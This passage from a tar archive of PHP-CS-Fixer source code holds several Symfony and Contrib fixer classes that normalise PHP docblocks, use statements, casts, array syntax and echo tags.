            T_REQUIRE_ONCE,
            T_INCLUDE,
            T_INCLUDE_ONCE,
            T_FINAL,
            T_STATIC,
        );

        return $token->isClassy() || $token->isGivenKind($skip);
    }

    /**
     * Checks control structures (while, if, foreach, switch) for correct docblock usage.
     *
     * @param Tokens $tokens
     * @param Token  $docsToken    docs Token
     * @param int    $controlIndex index of control structure Token
     *
     * @return bool
     */
    private function isValidControl(Tokens $tokens, Token $docsToken, $controlIndex)
    {
        $index = $tokens->getNextMeaningfulToken($controlIndex);
        $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $index);
        $docsContent = $docsToken->getContent();

        for ($index = $index + 1; $index < $endIndex; ++$index) {
            $token = $tokens[$index];

            if (
                $token->isGivenKind(T_VARIABLE) &&
                false !== strpos($docsContent, $token->getContent())
            ) {
                return true;
            }
        }

        return false;
    }

    /**
     * Checks variable assignments for correct docblock usage.
     *
     * @param Tokens $tokens
     * @param Token  $docsToken     docs Token
     * @param int    $variableIndex index of variable Token
     *
     * @return bool
     */
    private function isValidVariable(Tokens $tokens, Token $docsToken, $variableIndex)
    {
        $nextIndex = $tokens->getNextMeaningfulToken($variableIndex);

        if (!$tokens[$nextIndex]->equals('=')) {
            return false;
        }

        return false !== strpos($docsToken->getContent(), $tokens[$variableIndex]->getContent());
    }

    /**
     * Checks variable assignments through `list()` calls for correct docblock usage.
     *
     * @param Tokens $tokens
     * @param Token  $docsToken docs Token
     * @param int    $listIndex index of variable Token
     *
     * @return bool
     */
    private function isValidList(Tokens $tokens, Token $docsToken, $listIndex)
    {
        $endIndex = $tokens->getNextTokenOfKind($listIndex, array(')'));
        $docsContent = $docsToken->getContent();

        for ($index = $listIndex + 1; $index < $endIndex; ++$index) {
            $token = $tokens[$index];

            if (
                $token->isGivenKind(T_VARIABLE)
                && false !== strpos($docsContent, $token->getContent())
            ) {
                return true;
            }
        }

        return false;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocScalarFixer.php000066600000003177151456236460017645 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractPhpdocTypesFixer;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocScalarFixer extends AbstractPhpdocTypesFixer
{
    /**
     * The types to fix.
     *
     * @var array
     */
    private static $types = array(
        'boolean' => 'bool',
        'double' => 'float',
        'integer' => 'int',
        'real' => 'float',
    );

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Scalar types should always be written in the same form. "int", not "integer"; "bool", not "boolean"; "float", not "real" or "double".';
    }

    public function getPriority()
    {
        /*
         * Should be run before all other docblock fixers apart from the
         * phpdoc_to_comment and phpdoc_indent fixer to make sure all fixers
         * apply correct indentation to new code they add. This should run
         * before alignment of params is done since this fixer might change
         * the type and thereby un-aligning the params. We also must run after
         * the phpdoc_types_fixer because it can convert types to things that
         * we can fix.
         */
        return 15;
    }

    /**
     * {@inheritdoc}
     */
    protected function normalize($type)
    {
        if (array_key_exists($type, self::$types)) {
            return self::$types[$type];
        }

        return $type;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocNoPackageFixer.php000066600000001611151456236460020257 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractAnnotationRemovalFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocNoPackageFixer extends AbstractAnnotationRemovalFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $this->removeAnnotations($tokens, array('package', 'subpackage'));

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return '@package and @subpackage annotations should be omitted from phpdocs.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/RemoveLeadingSlashUseFixer.php000066600000003140151456236460021461 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Carlos Cirello <carlos.cirello.nl@gmail.com>
 */
class RemoveLeadingSlashUseFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $foundNamespace = $tokens->findGivenKind(T_NAMESPACE);
        if (empty($foundNamespace)) {
            return $content;
        }

        $firstNamespaceIdx = key($foundNamespace);

        $usesIdxs = $tokens->getImportUseIndexes();

        foreach ($usesIdxs as $idx) {
            if ($idx < $firstNamespaceIdx) {
                continue;
            }

            $nextTokenIdx = $tokens->getNextNonWhitespace($idx);
            $nextToken = $tokens[$nextTokenIdx];

            if ($nextToken->isGivenKind(T_NS_SEPARATOR)) {
                $nextToken->clear();
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the MultipleUseFixer (for fix separated use statements as well) and UnusedUseFixer (just for save performance)
        return -20;
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Remove leading slashes in use clauses.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocVarWithoutNameFixer.php000066600000003604151456236460021350 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\DocBlock\Line;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocVarWithoutNameFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $token) {
            $doc = new DocBlock($token->getContent());

            // don't process single line docblocks
            if (1 === count($doc->getLines())) {
                continue;
            }

            $annotations = $doc->getAnnotationsOfType(array('param', 'return', 'type', 'var'));

            // only process docblocks where the first meaningful annotation is @type or @var
            if (!isset($annotations[0]) || !in_array($annotations[0]->getTag()->getName(), array('type', 'var'), true)) {
                continue;
            }

            $this->fixLine($doc->getLine($annotations[0]->getStart()));

            $token->setContent($doc->getContent());
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return '@var and @type annotations should not contain the variable name.';
    }

    private function fixLine(Line $line)
    {
        $content = $line->getContent();

        preg_match_all('/ \$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/', $content, $matches);

        if (isset($matches[0][0])) {
            $line->setContent(str_replace($matches[0][0], '', $content));
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/SpacesCastFixer.php000066600000003757151456236460017337 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class SpacesCastFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        static $insideCastSpaceReplaceMap = array(
            ' ' => '',
            "\t" => '',
            "\n" => '',
            "\r" => '',
            "\0" => '',
            "\x0B" => '',
        );

        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if ($token->isCast()) {
                $token->setContent(strtr($token->getContent(), $insideCastSpaceReplaceMap));

                // force single whitespace after cast token:
                if ($tokens[$index + 1]->isWhitespace(array('whitespaces' => " \t"))) {
                    // - if next token is whitespaces that contains only spaces and tabs - override next token with single space
                    $tokens[$index + 1]->setContent(' ');
                } elseif (!$tokens[$index + 1]->isWhitespace()) {
                    // - if next token is not whitespaces that contains spaces, tabs and new lines - append single space to current token
                    $tokens->insertAt($index + 1, new Token(array(T_WHITESPACE, ' ')));
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'A single space should be between cast and variable.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be ran after the ShortBoolCastFixer
        return -10;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/RemoveLinesBetweenUsesFixer.php000066600000004575151456236460021707 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Luis Cordova <cordoval@gmail.com>
 */
class RemoveLinesBetweenUsesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $this->removeLineBreaksBetweenUseStatements($tokens);

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run before OrderedUseFixer
        return -5;
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Removes line breaks between use statements.';
    }

    private function removeLineBreaksBetweenUseStatements(Tokens $tokens)
    {
        $namespacesImports = $tokens->getImportUseIndexes(true);

        if (!count($namespacesImports)) {
            return;
        }

        foreach ($namespacesImports as $uses) {
            $uses = array_reverse($uses);
            $this->fixLineBreaksPerImportGroup($tokens, $uses);
        }
    }

    /**
     * Fix the line breaks per group.
     *
     * For each use token reach the nearest ; and ensure every
     * token after has one \n before next non empty token (next line).
     * It skips the first pass from the bottom.
     *
     * @param Tokens $tokens
     * @param array  $uses
     */
    private function fixLineBreaksPerImportGroup(Tokens $tokens, array $uses)
    {
        foreach ($uses as $index) {
            $endIndex = $tokens->getNextTokenOfKind($index, array(';', T_CLOSE_TAG));
            if ($endIndex === count($tokens) - 1) {
                continue;
            }

            $afterSemicolonIndex = $tokens->getNextNonWhitespace($endIndex);
            if (null === $afterSemicolonIndex || !$tokens[$afterSemicolonIndex]->isGivenKind(T_USE)) {
                continue;
            }

            $nextToken = $tokens[$endIndex + 1];
            if ($nextToken->isWhitespace()) {
                $nextToken->setContent(preg_replace('/\n{2,}/', "\n", $nextToken->getContent()));
            }
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/TrimArraySpacesFixer.php000066600000005503151456236460020346 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Jared Henderson <jared@netrivet.com>
 */
class TrimArraySpacesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = 0, $c = $tokens->count(); $index < $c; ++$index) {
            if ($tokens->isArray($index)) {
                self::fixArray($tokens, $index);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Arrays should be formatted like function/method arguments, without leading or trailing single line space.';
    }

    /**
     * Method to trim leading/trailing whitespace within single line arrays.
     *
     * @param Tokens $tokens
     * @param int    $index
     */
    private static function fixArray(Tokens $tokens, $index)
    {
        static $whitespaceOptions = array('whitespaces' => " \t");

        $startIndex = $index;

        if ($tokens[$startIndex]->isGivenKind(T_ARRAY)) {
            $startIndex = $tokens->getNextMeaningfulToken($startIndex);
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $startIndex);
        } else {
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_SQUARE_BRACE, $startIndex);
        }

        $nextToken = $tokens[$startIndex + 1];
        $nextNonWhitespaceIndex = $tokens->getNextNonWhitespace($startIndex);
        $nextNonWhitespaceToken = $tokens[$nextNonWhitespaceIndex];

        $prevToken = $tokens[$endIndex - 1];
        $prevNonWhitespaceIndex = $tokens->getPrevNonWhitespace($endIndex);
        $prevNonWhitespaceToken = $tokens[$prevNonWhitespaceIndex];

        if (
            $nextToken->isWhitespace($whitespaceOptions)
            && (
                !$nextNonWhitespaceToken->isComment()
                || $nextNonWhitespaceIndex === $prevNonWhitespaceIndex
                || false === strpos($nextNonWhitespaceToken->getContent(), "\n")
            )
        ) {
            $nextToken->clear();
        }

        if (
            $prevToken->isWhitespace($whitespaceOptions)
            && !$prevNonWhitespaceToken->equals(',')
            // TODO: following condition should be removed on 2.0 line thanks to WhitespacyCommentTransformer
            && !($prevNonWhitespaceToken->isComment() && $prevNonWhitespaceToken->getContent() !== rtrim($prevNonWhitespaceToken->getContent()))
        ) {
            $prevToken->clear();
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/SingleBlankLineBeforeNamespaceFixer.php000066600000002025151456236460023232 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractLinesBeforeNamespaceFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class SingleBlankLineBeforeNamespaceFixer extends AbstractLinesBeforeNamespaceFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if ($token->isGivenKind(T_NAMESPACE)) {
                $this->fixLinesBeforeNamespace($tokens, $index, 2);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'There should be exactly one blank line before a namespace declaration.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/FunctionTypehintSpaceFixer.php000066600000004765151456236460021574 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class FunctionTypehintSpaceFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind(T_FUNCTION)) {
                continue;
            }

            $startParenthesisIndex = $tokens->getNextTokenOfKind($index, array('(', ';', array(T_CLOSE_TAG)));
            if (!$tokens[$startParenthesisIndex]->equals('(')) {
                continue;
            }

            $endParenthesisIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $startParenthesisIndex);

            for ($iter = $endParenthesisIndex - 1; $iter > $startParenthesisIndex; --$iter) {
                if (!$tokens[$iter]->isGivenKind(T_VARIABLE)) {
                    continue;
                }

                // skip ... before $variable for variadic parameter
                if (defined('T_ELLIPSIS')) {
                    $prevNonWhitespaceIndex = $tokens->getPrevNonWhitespace($iter);
                    if ($tokens[$prevNonWhitespaceIndex]->isGivenKind(T_ELLIPSIS)) {
                        $iter = $prevNonWhitespaceIndex;
                    }
                }

                // skip & before $variable for parameter passed by reference
                $prevNonWhitespaceIndex = $tokens->getPrevNonWhitespace($iter);
                if ($tokens[$prevNonWhitespaceIndex]->equals('&')) {
                    $iter = $prevNonWhitespaceIndex;
                }

                if (!$tokens[$iter - 1]->equalsAny(array(array(T_WHITESPACE), array(T_COMMENT), array(T_DOC_COMMENT), '(', ','))) {
                    $tokens->insertAt($iter, new Token(array(T_WHITESPACE, ' ', $tokens[$iter]->getLine())));
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Add missing space between function\'s argument and its typehint.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/OrderedUseFixer.php000066600000012347151456236460017276 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Sebastiaan Stok <s.stok@rollerscapes.net>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author SpacePossum
 */
class OrderedUseFixer extends AbstractFixer
{
    const IMPORT_TYPE_CLASS = 1;
    const IMPORT_TYPE_CONST = 2;
    const IMPORT_TYPE_FUNCTION = 3;

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        $namespacesImports = $tokens->getImportUseIndexes(true);

        if (0 === count($namespacesImports)) {
            return $content;
        }

        $usesOrder = array();
        foreach ($namespacesImports as $uses) {
            $usesOrder = array_replace($usesOrder, $this->getNewOrder(array_reverse($uses), $tokens));
        }

        // First clean the old content
        // This must be done first as the indexes can be scattered
        foreach ($usesOrder as $use) {
            $tokens->clearRange($use['startIndex'], $use['endIndex']);
        }

        $usesOrder = array_reverse($usesOrder, true);

        // Now insert the new tokens, starting from the end
        foreach ($usesOrder as $index => $use) {
            $declarationTokens = Tokens::fromCode('<?php use '.$use['namespace'].';');
            $declarationTokens->clearRange(0, 2); // clear `<?php use `
            $declarationTokens[count($declarationTokens) - 1]->clear(); // clear `;`
            $declarationTokens->clearEmptyTokens();

            $tokens->insertAt($index, $declarationTokens);
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Ordering use statements.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the MultipleUseFixer and RemoveLeadingSlashUseFixer
        return -30;
    }

    /**
     * This method is used for sorting the uses in a namespace.
     *
     * @param string[] $first
     * @param string[] $second
     *
     * @return int
     *
     * @internal
     */
    public static function sortingCallBack(array $first, array $second)
    {
        if ($first['importType'] !== $second['importType']) {
            return $first['importType'] > $second['importType'] ? 1 : -1;
        }

        $firstNamespace = trim(preg_replace('%/\*(.*)\*/%s', '', $first['namespace']));
        $secondNamespace = trim(preg_replace('%/\*(.*)\*/%s', '', $second['namespace']));

        // Replace backslashes by spaces before sorting for correct sort order
        $firstNamespace = str_replace('\\', ' ', $firstNamespace);
        $secondNamespace = str_replace('\\', ' ', $secondNamespace);

        return strcasecmp($firstNamespace, $secondNamespace);
    }

    private function getNewOrder(array $uses, Tokens $tokens)
    {
        $uses = array_reverse($uses);

        $indexes = array();
        $originalIndexes = array();

        foreach ($uses as $index) {
            $startIndex = $tokens->getTokenNotOfKindSibling($index + 1, 1, array(array(T_WHITESPACE)));
            $endIndex = $tokens->getNextTokenOfKind($startIndex, array(';', array(T_CLOSE_TAG)));
            $previous = $tokens->getPrevMeaningfulToken($endIndex);

            $group = $tokens[$previous]->equals('}');
            if ($tokens[$startIndex]->isGivenKind(array(T_CONST))) {
                $type = self::IMPORT_TYPE_CONST;
            } elseif ($tokens[$startIndex]->isGivenKind(array(T_FUNCTION))) {
                $type = self::IMPORT_TYPE_FUNCTION;
            } else {
                $type = self::IMPORT_TYPE_CLASS;
            }

            $namespace = '';
            $index = $startIndex;

            while ($index <= $endIndex) {
                $token = $tokens[$index];

                if ($index === $endIndex || (!$group && $token->equals(','))) {
                    $indexes[$startIndex] = array(
                        'namespace' => $namespace,
                        'startIndex' => $startIndex,
                        'endIndex' => $index - 1,
                        'importType' => $type,
                    );

                    $originalIndexes[] = $startIndex;

                    if ($index === $endIndex) {
                        break;
                    }

                    $namespace = '';
                    $nextPartIndex = $tokens->getTokenNotOfKindSibling($index, 1, array(array(','), array(T_WHITESPACE)));
                    $startIndex = $nextPartIndex;
                    $index = $nextPartIndex;

                    continue;
                }

                $namespace .= $token->getContent();
                ++$index;
            }
        }

        uasort($indexes, 'self::sortingCallBack');

        $index = -1;
        $usesOrder = array();

        // Loop trough the index but use original index order
        foreach ($indexes as $v) {
            $usesOrder[$originalIndexes[++$index]] = $v;
        }

        return $usesOrder;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/ShortEchoTagFixer.php000066600000003447151456236460017570 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Vincent Klaiber <hello@vinkla.com>
 */
class ShortEchoTagFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        $i = count($tokens);

        while ($i--) {
            $token = $tokens[$i];
            $nextIndex = $i + 1;

            if (
                !$token->isGivenKind(T_OPEN_TAG_WITH_ECHO)
                && !(
                    /*
                     * HHVM parses '<?=' as T_ECHO instead of T_OPEN_TAG_WITH_ECHO
                     *
                     * @see https://github.com/facebook/hhvm/issues/4809
                     * @see https://github.com/facebook/hhvm/issues/7161
                     */
                    defined('HHVM_VERSION')
                    && $token->equals(array(T_ECHO, '<?='))
                )
            ) {
                continue;
            }

            $token->override(array(T_OPEN_TAG, '<?php ', $token->getLine()));

            if (!$tokens[$nextIndex]->isWhitespace()) {
                $tokens->insertAt($nextIndex, new Token(array(T_WHITESPACE, ' ')));
            }

            $tokens->insertAt($nextIndex, new Token(array(T_ECHO, 'echo')));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Replace short-echo <?= with long format <?php echo syntax.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/PhpUnitStrictFixer.php000066600000004166151456236460020015 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
final class PhpUnitStrictFixer extends AbstractFixer
{
    private $configuration = array(
        'assertAttributeEquals' => 'assertAttributeSame',
        'assertAttributeNotEquals' => 'assertAttributeNotSame',
        'assertEquals' => 'assertSame',
        'assertNotEquals' => 'assertNotSame',
    );

    public function configure(array $usingMethods)
    {
        foreach (array_keys($this->configuration) as $method) {
            if (!in_array($method, $usingMethods, true)) {
                unset($this->configuration[$method]);
            }
        }
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($this->configuration as $methodBefore => $methodAfter) {
            for ($index = 0, $limit = $tokens->count(); $index < $limit; ++$index) {
                $sequence = $tokens->findSequence(
                    array(
                        array(T_VARIABLE, '$this'),
                        array(T_OBJECT_OPERATOR, '->'),
                        array(T_STRING, $methodBefore),
                        '(',
                    ),
                    $index
                );

                if (null === $sequence) {
                    break;
                }

                $sequenceIndexes = array_keys($sequence);
                $tokens[$sequenceIndexes[2]]->setContent($methodAfter);

                $index = $sequenceIndexes[3];
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'PHPUnit methods like "assertSame" should be used instead of "assertEquals". Warning! This could change code behavior.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/MultilineSpacesBeforeSemicolonFixer.php000066600000002160151456236460023322 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class MultilineSpacesBeforeSemicolonFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if (!$token->equals(';')) {
                continue;
            }

            $previous = $tokens[$index - 1];

            if ($previous->isWhitespace() && false !== strpos($previous->getContent(), "\n")) {
                $previous->clear();
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Multi-line whitespace before closing semicolon are prohibited.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/LongArraySyntaxFixer.php000066600000002307151456236460020335 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class LongArraySyntaxFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; 0 <= $index; --$index) {
            if (!$tokens->isShortArray($index)) {
                continue;
            }

            $closeIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_SQUARE_BRACE, $index);

            $tokens->overrideAt($index, '(');
            $tokens->overrideAt($closeIndex, ')');

            $tokens->insertAt($index, new Token(array(T_ARRAY, 'array')));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Arrays should use the long syntax.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/PhpdocOrderFixer.php000066600000010017151456236460017436 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocOrderFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $token) {
            $content = $token->getContent();
            // move param to start, return to end, leave throws in the middle
            $content = $this->moveParamAnnotations($content);
            // we're parsing the content again to make sure the internal
            // state of the dockblock is correct after the modifications
            $content = $this->moveReturnAnnotations($content);
            // persist the content at the end
            $token->setContent($content);
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Annotations in phpdocs should be ordered so that param annotations come first, then throws annotations, then return annotations.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // must be run before the PhpdocSeparationFixer

        /*
         * Should be run before the php_doc_separation fixer so that if we
         * create incorrect annotation grouping while moving the annotations
         * about, we're still ok.
         */
        return 5;
    }

    /**
     * Move all param annotations in before throws and return annotations.
     *
     * @param string $content
     *
     * @return string
     */
    private function moveParamAnnotations($content)
    {
        $doc = new DocBlock($content);
        $params = $doc->getAnnotationsOfType('param');

        // nothing to do if there are no param annotations
        if (empty($params)) {
            return $content;
        }

        $others = $doc->getAnnotationsOfType(array('throws', 'return'));

        if (empty($others)) {
            return $content;
        }

        // get the index of the final line of the final param annotation
        $end = end($params)->getEnd();

        $line = $doc->getLine($end);

        // move stuff about if required
        foreach ($others as $other) {
            if ($other->getStart() < $end) {
                // we're doing this to maintain the original line indexes
                $line->setContent($line->getContent().$other->getContent());
                $other->remove();
            }
        }

        return $doc->getContent();
    }

    /**
     * Move all return annotations after param and throws annotations.
     *
     * @param string $content
     *
     * @return string
     */
    private function moveReturnAnnotations($content)
    {
        $doc = new DocBlock($content);
        $returns = $doc->getAnnotationsOfType('return');

        // nothing to do if there are no return annotations
        if (empty($returns)) {
            return $content;
        }

        $others = $doc->getAnnotationsOfType(array('param', 'throws'));

        // nothing to do if there are no other annotations
        if (empty($others)) {
            return $content;
        }

        // get the index of the first line of the first return annotation
        $start = $returns[0]->getStart();
        $line = $doc->getLine($start);

        // move stuff about if required
        foreach (array_reverse($others) as $other) {
